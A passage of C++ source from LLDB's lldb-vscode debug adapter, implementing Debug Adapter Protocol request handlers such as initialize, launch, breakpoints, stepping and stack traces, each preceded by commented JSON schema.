are specified. The // default is 'path', which is the native format." // }, // "supportsVariableType": { // "type": "boolean", // "description": "Client supports the optional type attribute for // variables." // }, // "supportsVariablePaging": { // "type": "boolean", // "description": "Client supports the paging of variables." // }, // "supportsRunInTerminalRequest": { // "type": "boolean", // "description": "Client supports the runInTerminal request." // } // }, // "required": [ "adapterID" ] // }, // "InitializeResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'initialize' request.", // "properties": { // "body": { // "$ref": "#/definitions/Capabilities", // "description": "The capabilities of this debug adapter." // } // } // }] // } void request_initialize(const llvm::json::Object &request) { g_vsc.debugger = lldb::SBDebugger::Create(true /*source_init_files*/); // Create an empty target right away since we might get breakpoint requests // before we are given an executable to launch in a "launch" request, or a // executable when attaching to a process by process ID in a "attach" // request. FILE *out = llvm::sys::RetryAfterSignal(nullptr, fopen, dev_null_path, "w"); if (out) { // Set the output and error file handles to redirect into nothing otherwise // if any code in LLDB prints to the debugger file handles, the output and // error file handles are initialized to STDOUT and STDERR and any output // will kill our debug session. g_vsc.debugger.SetOutputFileHandle(out, true); g_vsc.debugger.SetErrorFileHandle(out, false); } // Start our event thread so we can receive events from the debugger, target, // process and more. g_vsc.event_thread = std::thread(EventThreadFunction); llvm::json::Object response; FillResponse(request, response); llvm::json::Object body; // The debug adapter supports the configurationDoneRequest. body.try_emplace("supportsConfigurationDoneRequest", true); // The debug adapter supports function breakpoints. body.try_emplace("supportsFunctionBreakpoints", true); // The debug adapter supports conditional breakpoints. body.try_emplace("supportsConditionalBreakpoints", true); // The debug adapter supports breakpoints that break execution after a // specified number of hits. body.try_emplace("supportsHitConditionalBreakpoints", true); // The debug adapter supports a (side effect free) evaluate request for // data hovers. body.try_emplace("supportsEvaluateForHovers", true); // Available filters or options for the setExceptionBreakpoints request. llvm::json::Array filters; for (const auto &exc_bp : g_vsc.exception_breakpoints) { filters.emplace_back(CreateExceptionBreakpointFilter(exc_bp)); } body.try_emplace("exceptionBreakpointFilters", std::move(filters)); // The debug adapter supports stepping back via the stepBack and // reverseContinue requests. body.try_emplace("supportsStepBack", false); // The debug adapter supports setting a variable to a value. body.try_emplace("supportsSetVariable", true); // The debug adapter supports restarting a frame. body.try_emplace("supportsRestartFrame", false); // The debug adapter supports the gotoTargetsRequest. body.try_emplace("supportsGotoTargetsRequest", false); // The debug adapter supports the stepInTargetsRequest. body.try_emplace("supportsStepInTargetsRequest", false); // We need to improve the current implementation of completions in order to // enable it again. For some context, this is how VSCode works: // - VSCode sends a completion request whenever chars are added, the user // triggers completion manually via CTRL-space or similar mechanisms, but // not when there's a deletion. Besides, VSCode doesn't let us know which // of these events we are handling. What is more, the use can paste or cut // sections of the text arbitrarily. // https://github.com/microsoft/vscode/issues/89531 tracks part of the // issue just mentioned. // This behavior causes many problems with the current way completion is // implemented in lldb-vscode, as these requests could be really expensive, // blocking the debugger, and there could be many concurrent requests unless // the user types very slowly... We need to address this specific issue, or // at least trigger completion only when the user explicitly wants it, which // is the behavior of LLDB CLI, that expects a TAB. body.try_emplace("supportsCompletionsRequest", false); // The debug adapter supports the modules request. body.try_emplace("supportsModulesRequest", false); // The set of additional module information exposed by the debug adapter. // body.try_emplace("additionalModuleColumns"] = ColumnDescriptor // Checksum algorithms supported by the debug adapter. // body.try_emplace("supportedChecksumAlgorithms"] = ChecksumAlgorithm // The debug adapter supports the RestartRequest. In this case a client // should not implement 'restart' by terminating and relaunching the adapter // but by calling the RestartRequest. body.try_emplace("supportsRestartRequest", false); // The debug adapter supports 'exceptionOptions' on the // setExceptionBreakpoints request. body.try_emplace("supportsExceptionOptions", true); // The debug adapter supports a 'format' attribute on the stackTraceRequest, // variablesRequest, and evaluateRequest. body.try_emplace("supportsValueFormattingOptions", true); // The debug adapter supports the exceptionInfo request. body.try_emplace("supportsExceptionInfoRequest", true); // The debug adapter supports the 'terminateDebuggee' attribute on the // 'disconnect' request. body.try_emplace("supportTerminateDebuggee", true); // The debug adapter supports the delayed loading of parts of the stack, // which requires that both the 'startFrame' and 'levels' arguments and the // 'totalFrames' result of the 'StackTrace' request are supported. body.try_emplace("supportsDelayedStackTraceLoading", true); // The debug adapter supports the 'loadedSources' request. body.try_emplace("supportsLoadedSourcesRequest", false); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "LaunchRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Launch request; value of command field is 'launch'.", // "properties": { // "command": { // "type": "string", // "enum": [ "launch" ] // }, // "arguments": { // "$ref": "#/definitions/LaunchRequestArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "LaunchRequestArguments": { // "type": "object", // "description": "Arguments for 'launch' request.", // "properties": { // "noDebug": { // "type": "boolean", // "description": "If noDebug is true the launch request should launch // the program without enabling debugging." // } // } // }, // "LaunchResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'launch' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_launch(const llvm::json::Object &request) { llvm::json::Object response; lldb::SBError error; FillResponse(request, response); auto arguments = request.getObject("arguments"); g_vsc.init_commands = GetStrings(arguments, "initCommands"); g_vsc.pre_run_commands = GetStrings(arguments, "preRunCommands"); g_vsc.stop_commands = GetStrings(arguments, "stopCommands"); g_vsc.exit_commands = GetStrings(arguments, "exitCommands"); auto launchCommands = GetStrings(arguments, "launchCommands"); g_vsc.stop_at_entry = GetBoolean(arguments, "stopOnEntry", false); const auto debuggerRoot = GetString(arguments, "debuggerRoot"); // This is a hack for loading DWARF in .o files on Mac where the .o files // in the debug map of the main executable have relative paths which require // the lldb-vscode binary to have its working directory set to that relative // root for the .o files in order to be able to load debug info. if (!debuggerRoot.empty()) { llvm::sys::fs::set_current_path(debuggerRoot.data()); } SetSourceMapFromArguments(*arguments); // Run any initialize LLDB commands the user specified in the launch.json. // This is run before target is created, so commands can't do anything with // the targets - preRunCommands are run with the target. g_vsc.RunInitCommands(); lldb::SBError status; g_vsc.SetTarget(g_vsc.CreateTargetFromArguments(*arguments, status)); if (status.Fail()) { response["success"] = llvm::json::Value(false); EmplaceSafeString(response, "message", status.GetCString()); g_vsc.SendJSON(llvm::json::Value(std::move(response))); return; } // Instantiate a launch info instance for the target. g_vsc.launch_info = g_vsc.target.GetLaunchInfo(); // Grab the current working directory if there is one and set it in the // launch info. const auto cwd = GetString(arguments, "cwd"); if (!cwd.empty()) g_vsc.launch_info.SetWorkingDirectory(cwd.data()); // Extract any extra arguments and append them to our program arguments for // when we launch auto args = GetStrings(arguments, "args"); if (!args.empty()) g_vsc.launch_info.SetArguments(MakeArgv(args).data(), true); // Pass any environment variables along that the user specified. auto envs = GetStrings(arguments, "env"); if (!envs.empty()) g_vsc.launch_info.SetEnvironmentEntries(MakeArgv(envs).data(), true); auto flags = g_vsc.launch_info.GetLaunchFlags(); if (GetBoolean(arguments, "disableASLR", true)) flags |= lldb::eLaunchFlagDisableASLR; if (GetBoolean(arguments, "disableSTDIO", false)) flags |= lldb::eLaunchFlagDisableSTDIO; if (GetBoolean(arguments, "shellExpandArguments", false)) flags |= lldb::eLaunchFlagShellExpandArguments; const bool detatchOnError = GetBoolean(arguments, "detachOnError", false); g_vsc.launch_info.SetDetachOnError(detatchOnError); g_vsc.launch_info.SetLaunchFlags(flags | lldb::eLaunchFlagDebug | lldb::eLaunchFlagStopAtEntry); // Run any pre run LLDB commands the user specified in the launch.json g_vsc.RunPreRunCommands(); if (launchCommands.empty()) { // Disable async events so the launch will be successful when we return from // the launch call and the launch will happen synchronously g_vsc.debugger.SetAsync(false); g_vsc.target.Launch(g_vsc.launch_info, error); g_vsc.debugger.SetAsync(true); } else { g_vsc.RunLLDBCommands("Running launchCommands:", launchCommands); // The custom commands might have created a new target so we should use the // selected target after these commands are run. g_vsc.target = g_vsc.debugger.GetSelectedTarget(); } if (error.Fail()) { response["success"] = llvm::json::Value(false); EmplaceSafeString(response, "message", std::string(error.GetCString())); } g_vsc.SendJSON(llvm::json::Value(std::move(response))); SendProcessEvent(Launch); g_vsc.SendJSON(llvm::json::Value(CreateEventObject("initialized"))); // Reenable async events and start the event thread to catch async events. // g_vsc.debugger.SetAsync(true); } // "NextRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Next request; value of command field is 'next'. The // request starts the debuggee to run again for one step. // The debug adapter first sends the NextResponse and then // a StoppedEvent (event type 'step') after the step has // completed.", // "properties": { // "command": { // "type": "string", // "enum": [ "next" ] // }, // "arguments": { // "$ref": "#/definitions/NextArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "NextArguments": { // "type": "object", // "description": "Arguments for 'next' request.", // "properties": { // "threadId": { // "type": "integer", // "description": "Execute 'next' for this thread." // } // }, // "required": [ "threadId" ] // }, // "NextResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'next' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_next(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); auto arguments = request.getObject("arguments"); lldb::SBThread thread = g_vsc.GetLLDBThread(*arguments); if (thread.IsValid()) { // Remember the thread ID that caused the resume so we can set the // "threadCausedFocus" boolean value in the "stopped" events. g_vsc.focus_tid = thread.GetThreadID(); thread.StepOver(); } else { response["success"] = llvm::json::Value(false); } g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "PauseRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Pause request; value of command field is 'pause'. The // request suspenses the debuggee. The debug adapter first sends the // PauseResponse and then a StoppedEvent (event type 'pause') after the // thread has been paused successfully.", "properties": { // "command": { // "type": "string", // "enum": [ "pause" ] // }, // "arguments": { // "$ref": "#/definitions/PauseArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "PauseArguments": { // "type": "object", // "description": "Arguments for 'pause' request.", // "properties": { // "threadId": { // "type": "integer", // "description": "Pause execution for this thread." // } // }, // "required": [ "threadId" ] // }, // "PauseResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'pause' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_pause(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); lldb::SBProcess process = g_vsc.target.GetProcess(); lldb::SBError error = process.Stop(); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "ScopesRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Scopes request; value of command field is 'scopes'. The // request returns the variable scopes for a given stackframe ID.", // "properties": { // "command": { // "type": "string", // "enum": [ "scopes" ] // }, // "arguments": { // "$ref": "#/definitions/ScopesArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "ScopesArguments": { // "type": "object", // "description": "Arguments for 'scopes' request.", // "properties": { // "frameId": { // "type": "integer", // "description": "Retrieve the scopes for this stackframe." // } // }, // "required": [ "frameId" ] // }, // "ScopesResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'scopes' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "scopes": { // "type": "array", // "items": { // "$ref": "#/definitions/Scope" // }, // "description": "The scopes of the stackframe. If the array has // length zero, there are no scopes available." // } // }, // "required": [ "scopes" ] // } // }, // "required": [ "body" ] // }] // } void request_scopes(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Object body; auto arguments = request.getObject("arguments"); lldb::SBFrame frame = g_vsc.GetLLDBFrame(*arguments); g_vsc.variables.Clear(); g_vsc.variables.Append(frame.GetVariables(true, // arguments true, // locals false, // statics true)); // in_scope_only g_vsc.num_locals = g_vsc.variables.GetSize(); g_vsc.variables.Append(frame.GetVariables(false, // arguments false, // locals true, // statics true)); // in_scope_only g_vsc.num_globals = g_vsc.variables.GetSize() - (g_vsc.num_locals); g_vsc.variables.Append(frame.GetRegisters()); g_vsc.num_regs = g_vsc.variables.GetSize() - (g_vsc.num_locals + g_vsc.num_globals); body.try_emplace("scopes", g_vsc.CreateTopLevelScopes()); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "SetBreakpointsRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "SetBreakpoints request; value of command field is // 'setBreakpoints'. Sets multiple breakpoints for a single source and // clears all previous breakpoints in that source. To clear all breakpoint // for a source, specify an empty array. When a breakpoint is hit, a // StoppedEvent (event type 'breakpoint') is generated.", "properties": { // "command": { // "type": "string", // "enum": [ "setBreakpoints" ] // }, // "arguments": { // "$ref": "#/definitions/SetBreakpointsArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "SetBreakpointsArguments": { // "type": "object", // "description": "Arguments for 'setBreakpoints' request.", // "properties": { // "source": { // "$ref": "#/definitions/Source", // "description": "The source location of the breakpoints; either // source.path or source.reference must be specified." // }, // "breakpoints": { // "type": "array", // "items": { // "$ref": "#/definitions/SourceBreakpoint" // }, // "description": "The code locations of the breakpoints." // }, // "lines": { // "type": "array", // "items": { // "type": "integer" // }, // "description": "Deprecated: The code locations of the breakpoints." // }, // "sourceModified": { // "type": "boolean", // "description": "A value of true indicates that the underlying source // has been modified which results in new breakpoint locations." // } // }, // "required": [ "source" ] // }, // "SetBreakpointsResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'setBreakpoints' request. Returned is // information about each breakpoint created by this request. This includes // the actual code location and whether the breakpoint could be verified. // The breakpoints returned are in the same order as the elements of the // 'breakpoints' (or the deprecated 'lines') in the // SetBreakpointsArguments.", "properties": { // "body": { // "type": "object", // "properties": { // "breakpoints": { // "type": "array", // "items": { // "$ref": "#/definitions/Breakpoint" // }, // "description": "Information about the breakpoints. The array // elements are in the same order as the elements of the // 'breakpoints' (or the deprecated 'lines') in the // SetBreakpointsArguments." // } // }, // "required": [ "breakpoints" ] // } // }, // "required": [ "body" ] // }] // }, // "SourceBreakpoint": { // "type": "object", // "description": "Properties of a breakpoint or logpoint passed to the // setBreakpoints request.", "properties": { // "line": { // "type": "integer", // "description": "The source line of the breakpoint or logpoint." // }, // "column": { // "type": "integer", // "description": "An optional source column of the breakpoint." // }, // "condition": { // "type": "string", // "description": "An optional expression for conditional breakpoints." // }, // "hitCondition": { // "type": "string", // "description": "An optional expression that controls how many hits of // the breakpoint are ignored. The backend is expected to interpret the // expression as needed." // }, // "logMessage": { // "type": "string", // "description": "If this attribute exists and is non-empty, the backend // must not 'break' (stop) but log the message instead. Expressions within // {} are interpolated." // } // }, // "required": [ "line" ] // } void request_setBreakpoints(const llvm::json::Object &request) { llvm::json::Object response; lldb::SBError error; FillResponse(request, response); auto arguments = request.getObject("arguments"); auto source = arguments->getObject("source"); const auto path = GetString(source, "path"); auto breakpoints = arguments->getArray("breakpoints"); llvm::json::Array response_breakpoints; // Decode the source breakpoint infos for this "setBreakpoints" request SourceBreakpointMap request_bps; for (const auto &bp : *breakpoints) { auto bp_obj = bp.getAsObject(); if (bp_obj) { SourceBreakpoint src_bp(*bp_obj); request_bps[src_bp.line] = std::move(src_bp); } } // See if we already have breakpoints set for this source file from a // previous "setBreakpoints" request auto old_src_bp_pos = g_vsc.source_breakpoints.find(path); if (old_src_bp_pos != g_vsc.source_breakpoints.end()) { // We have already set breakpoints in this source file and they are giving // use a new list of lines to set breakpoints on. Some breakpoints might // already be set, and some might not. We need to remove any breakpoints // whose lines are not contained in the any breakpoints lines in in the // "breakpoints" array. // Delete any breakpoints in this source file that aren't in the // request_bps set. There is no call to remove breakpoints other than // calling this function with a smaller or empty "breakpoints" list. std::vector<uint32_t> remove_lines; for (auto &pair: old_src_bp_pos->second) { auto request_pos = request_bps.find(pair.first); if (request_pos == request_bps.end()) { // This breakpoint no longer exists in this source file, delete it g_vsc.target.BreakpointDelete(pair.second.bp.GetID()); remove_lines.push_back(pair.first); } else { pair.second.UpdateBreakpoint(request_pos->second); // Remove this breakpoint from the request breakpoints since we have // handled it here and we don't need to set a new breakpoint below. request_bps.erase(request_pos); // Add this breakpoint info to the response AppendBreakpoint(pair.second.bp, response_breakpoints); } } // Remove any lines from this existing source breakpoint map for (auto line: remove_lines) old_src_bp_pos->second.erase(line); // Now add any breakpoint infos left over in request_bps are the // breakpoints that weren't set in this source file yet. We need to update // thread source breakpoint info for the source file in the variable // "old_src_bp_pos->second" so the info for this source file is up to date. for (auto &pair : request_bps) { pair.second.SetBreakpoint(path.data()); // Add this breakpoint info to the response AppendBreakpoint(pair.second.bp, response_breakpoints); old_src_bp_pos->second[pair.first] = std::move(pair.second); } } else { // No breakpoints were set for this source file yet. Set all breakpoints // for each line and add them to the response and create an entry in // g_vsc.source_breakpoints for this source file. for (auto &pair : request_bps) { pair.second.SetBreakpoint(path.data()); // Add this breakpoint info to the response AppendBreakpoint(pair.second.bp, response_breakpoints); } g_vsc.source_breakpoints[path] = std::move(request_bps); } llvm::json::Object body; body.try_emplace("breakpoints", std::move(response_breakpoints)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "SetExceptionBreakpointsRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "SetExceptionBreakpoints request; value of command field // is 'setExceptionBreakpoints'. The request configures the debuggers // response to thrown exceptions. If an exception is configured to break, a // StoppedEvent is fired (event type 'exception').", "properties": { // "command": { // "type": "string", // "enum": [ "setExceptionBreakpoints" ] // }, // "arguments": { // "$ref": "#/definitions/SetExceptionBreakpointsArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "SetExceptionBreakpointsArguments": { // "type": "object", // "description": "Arguments for 'setExceptionBreakpoints' request.", // "properties": { // "filters": { // "type": "array", // "items": { // "type": "string" // }, // "description": "IDs of checked exception options. The set of IDs is // returned via the 'exceptionBreakpointFilters' capability." // }, // "exceptionOptions": { // "type": "array", // "items": { // "$ref": "#/definitions/ExceptionOptions" // }, // "description": "Configuration options for selected exceptions." // } // }, // "required": [ "filters" ] // }, // "SetExceptionBreakpointsResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'setExceptionBreakpoints' request. This is // just an acknowledgement, so no body field is required." // }] // } void request_setExceptionBreakpoints(const llvm::json::Object &request) { llvm::json::Object response; lldb::SBError error; FillResponse(request, response); auto arguments = request.getObject("arguments"); auto filters = arguments->getArray("filters"); // Keep a list of any exception breakpoint filter names that weren't set // so we can clear any exception breakpoints if needed. std::set<std::string> unset_filters; for (const auto &bp : g_vsc.exception_breakpoints) unset_filters.insert(bp.filter); for (const auto &value : *filters) { const auto filter = GetAsString(value); auto exc_bp = g_vsc.GetExceptionBreakpoint(std::string(filter)); if (exc_bp) { exc_bp->SetBreakpoint(); unset_filters.erase(std::string(filter)); } } for (const auto &filter : unset_filters) { auto exc_bp = g_vsc.GetExceptionBreakpoint(filter); if (exc_bp) exc_bp->ClearBreakpoint(); } g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "SetFunctionBreakpointsRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "SetFunctionBreakpoints request; value of command field is // 'setFunctionBreakpoints'. Sets multiple function breakpoints and clears // all previous function breakpoints. To clear all function breakpoint, // specify an empty array. When a function breakpoint is hit, a StoppedEvent // (event type 'function breakpoint') is generated.", "properties": { // "command": { // "type": "string", // "enum": [ "setFunctionBreakpoints" ] // }, // "arguments": { // "$ref": "#/definitions/SetFunctionBreakpointsArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "SetFunctionBreakpointsArguments": { // "type": "object", // "description": "Arguments for 'setFunctionBreakpoints' request.", // "properties": { // "breakpoints": { // "type": "array", // "items": { // "$ref": "#/definitions/FunctionBreakpoint" // }, // "description": "The function names of the breakpoints." // } // }, // "required": [ "breakpoints" ] // }, // "FunctionBreakpoint": { // "type": "object", // "description": "Properties of a breakpoint passed to the // setFunctionBreakpoints request.", "properties": { // "name": { // "type": "string", // "description": "The name of the function." // }, // "condition": { // "type": "string", // "description": "An optional expression for conditional breakpoints." // }, // "hitCondition": { // "type": "string", // "description": "An optional expression that controls how many hits of // the breakpoint are ignored. The backend is expected to interpret the // expression as needed." // } // }, // "required": [ "name" ] // }, // "SetFunctionBreakpointsResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'setFunctionBreakpoints' request. Returned is // information about each breakpoint created by this request.", // "properties": { // "body": { // "type": "object", // "properties": { // "breakpoints": { // "type": "array", // "items": { // "$ref": "#/definitions/Breakpoint" // }, // "description": "Information about the breakpoints. The array // elements correspond to the elements of the 'breakpoints' array." // } // }, // "required": [ "breakpoints" ] // } // }, // "required": [ "body" ] // }] // } void request_setFunctionBreakpoints(const llvm::json::Object &request) { llvm::json::Object response; lldb::SBError error; FillResponse(request, response); auto arguments = request.getObject("arguments"); auto breakpoints = arguments->getArray("breakpoints"); FunctionBreakpointMap request_bps; llvm::json::Array response_breakpoints; for (const auto &value : *breakpoints) { auto bp_obj = value.getAsObject(); if (bp_obj == nullptr) continue; FunctionBreakpoint func_bp(*bp_obj); request_bps[func_bp.functionName] = std::move(func_bp); } std::vector<llvm::StringRef> remove_names; // Disable any function breakpoints that aren't in the request_bps. // There is no call to remove function breakpoints other than calling this // function with a smaller or empty "breakpoints" list. for (auto &pair: g_vsc.function_breakpoints) { auto request_pos = request_bps.find(pair.first()); if (request_pos == request_bps.end()) { // This function breakpoint no longer exists delete it from LLDB g_vsc.target.BreakpointDelete(pair.second.bp.GetID()); remove_names.push_back(pair.first()); } else { // Update the existing breakpoint as any setting withing the function // breakpoint might have changed. pair.second.UpdateBreakpoint(request_pos->second); // Remove this breakpoint from the request breakpoints since we have // handled it here and we don't need to set a new breakpoint below. request_bps.erase(request_pos); // Add this breakpoint info to the response AppendBreakpoint(pair.second.bp, response_breakpoints); } } // Remove any breakpoints that are no longer in our list for (const auto &name: remove_names) g_vsc.function_breakpoints.erase(name); // Any breakpoints that are left in "request_bps" are breakpoints that // need to be set. for (auto &pair : request_bps) { pair.second.SetBreakpoint(); // Add this breakpoint info to the response AppendBreakpoint(pair.second.bp, response_breakpoints); g_vsc.function_breakpoints[pair.first()] = std::move(pair.second); } llvm::json::Object body; body.try_emplace("breakpoints", std::move(response_breakpoints)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "SourceRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Source request; value of command field is 'source'. The // request retrieves the source code for a given source reference.", // "properties": { // "command": { // "type": "string", // "enum": [ "source" ] // }, // "arguments": { // "$ref": "#/definitions/SourceArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "SourceArguments": { // "type": "object", // "description": "Arguments for 'source' request.", // "properties": { // "source": { // "$ref": "#/definitions/Source", // "description": "Specifies the source content to load. Either // source.path or source.sourceReference must be specified." // }, // "sourceReference": { // "type": "integer", // "description": "The reference to the source. This is the same as // source.sourceReference. This is provided for backward compatibility // since old backends do not understand the 'source' attribute." // } // }, // "required": [ "sourceReference" ] // }, // "SourceResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'source' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "content": { // "type": "string", // "description": "Content of the source reference." // }, // "mimeType": { // "type": "string", // "description": "Optional content type (mime type) of the source." // } // }, // "required": [ "content" ] // } // }, // "required": [ "body" ] // }] // } void request_source(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Object body; auto arguments = request.getObject("arguments"); auto source = arguments->getObject("source"); auto sourceReference = GetSigned(source, "sourceReference", -1); auto pos = g_vsc.source_map.find((lldb::addr_t)sourceReference); if (pos != g_vsc.source_map.end()) { EmplaceSafeString(body, "content", pos->second.content); } else { response["success"] = llvm::json::Value(false); } response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "StackTraceRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "StackTrace request; value of command field is // 'stackTrace'. The request returns a stacktrace from the current execution // state.", "properties": { // "command": { // "type": "string", // "enum": [ "stackTrace" ] // }, // "arguments": { // "$ref": "#/definitions/StackTraceArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "StackTraceArguments": { // "type": "object", // "description": "Arguments for 'stackTrace' request.", // "properties": { // "threadId": { // "type": "integer", // "description": "Retrieve the stacktrace for this thread." // }, // "startFrame": { // "type": "integer", // "description": "The index of the first frame to return; if omitted // frames start at 0." // }, // "levels": { // "type": "integer", // "description": "The maximum number of frames to return. If levels is // not specified or 0, all frames are returned." // }, // "format": { // "$ref": "#/definitions/StackFrameFormat", // "description": "Specifies details on how to format the stack frames." // } // }, // "required": [ "threadId" ] // }, // "StackTraceResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'stackTrace' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "stackFrames": { // "type": "array", // "items": { // "$ref": "#/definitions/StackFrame" // }, // "description": "The frames of the stackframe. If the array has // length zero, there are no stackframes available. This means that // there is no location information available." // }, // "totalFrames": { // "type": "integer", // "description": "The total number of frames available." // } // }, // "required": [ "stackFrames" ] // } // }, // "required": [ "body" ] // }] // } void request_stackTrace(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); lldb::SBError error; auto arguments = request.getObject("arguments"); lldb::SBThread thread = g_vsc.GetLLDBThread(*arguments); llvm::json::Array stackFrames; llvm::json::Object body; if (thread.IsValid()) { const auto startFrame = GetUnsigned(arguments, "startFrame", 0); const auto levels = GetUnsigned(arguments, "levels", 0); const auto endFrame = (levels == 0) ? INT64_MAX : (startFrame + levels); for (uint32_t i = startFrame; i < endFrame; ++i) { auto frame = thread.GetFrameAtIndex(i); if (!frame.IsValid()) break; stackFrames.emplace_back(CreateStackFrame(frame)); } const auto totalFrames = thread.GetNumFrames(); body.try_emplace("totalFrames", totalFrames); } body.try_emplace("stackFrames", std::move(stackFrames)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "StepInRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "StepIn request; value of command field is 'stepIn'. The // request starts the debuggee to step into a function/method if possible. // If it cannot step into a target, 'stepIn' behaves like 'next'. The debug // adapter first sends the StepInResponse and then a StoppedEvent (event // type 'step') after the step has completed. If there are multiple // function/method calls (or other targets) on the source line, the optional // argument 'targetId' can be used to control into which target the 'stepIn' // should occur. The list of possible targets for a given source line can be // retrieved via the 'stepInTargets' request.", "properties": { // "command": { // "type": "string", // "enum": [ "stepIn" ] // }, // "arguments": { // "$ref": "#/definitions/StepInArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "StepInArguments": { // "type": "object", // "description": "Arguments for 'stepIn' request.", // "properties": { // "threadId": { // "type": "integer", // "description": "Execute 'stepIn' for this thread." // }, // "targetId": { // "type": "integer", // "description": "Optional id of the target to step into." // } // }, // "required": [ "threadId" ] // }, // "StepInResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'stepIn' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_stepIn(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); auto arguments = request.getObject("arguments"); lldb::SBThread thread = g_vsc.GetLLDBThread(*arguments); if (thread.IsValid()) { // Remember the thread ID that caused the resume so we can set the // "threadCausedFocus" boolean value in the "stopped" events. g_vsc.focus_tid = thread.GetThreadID(); thread.StepInto(); } else { response["success"] = llvm::json::Value(false); } g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "StepOutRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "StepOut request; value of command field is 'stepOut'. The // request starts the debuggee to run again for one step. The debug adapter // first sends the StepOutResponse and then a StoppedEvent (event type // 'step') after the step has completed.", "properties": { // "command": { // "type": "string", // "enum": [ "stepOut" ] // }, // "arguments": { // "$ref": "#/definitions/StepOutArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "StepOutArguments": { // "type": "object", // "description": "Arguments for 'stepOut' request.", // "properties": { // "threadId": { // "type": "integer", // "description": "Execute 'stepOut' for this thread." // } // }, // "required": [ "threadId" ] // }, // "StepOutResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'stepOut' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_stepOut(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); auto arguments = request.getObject("arguments"); lldb::SBThread thread = g_vsc.GetLLDBThread(*arguments); if (thread.IsValid()) { // Remember the thread ID that caused the resume so we can set the // "threadCausedFocus" boolean value in the "stopped" events. g_vsc.focus_tid = thread.GetThreadID(); thread.StepOut(); } else { response["success"] = llvm::json::Value(false); } g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "ThreadsRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Thread request; value of command field is 'threads'. The // request retrieves a list of all threads.", "properties": { // "command": { // "type": "string", // "enum": [ "threads" ] // } // }, // "required": [ "command" ] // }] // }, // "ThreadsResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'threads' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "threads": { // "type": "array", // "items": { // "$ref": "#/definitions/Thread" // }, // "description": "All threads." // } // }, // "required": [ "threads" ] // } // }, // "required": [ "body" ] // }] // } void request_threads(const llvm::json::Object &request) { lldb::SBProcess process = g_vsc.target.GetProcess(); llvm::json::Object 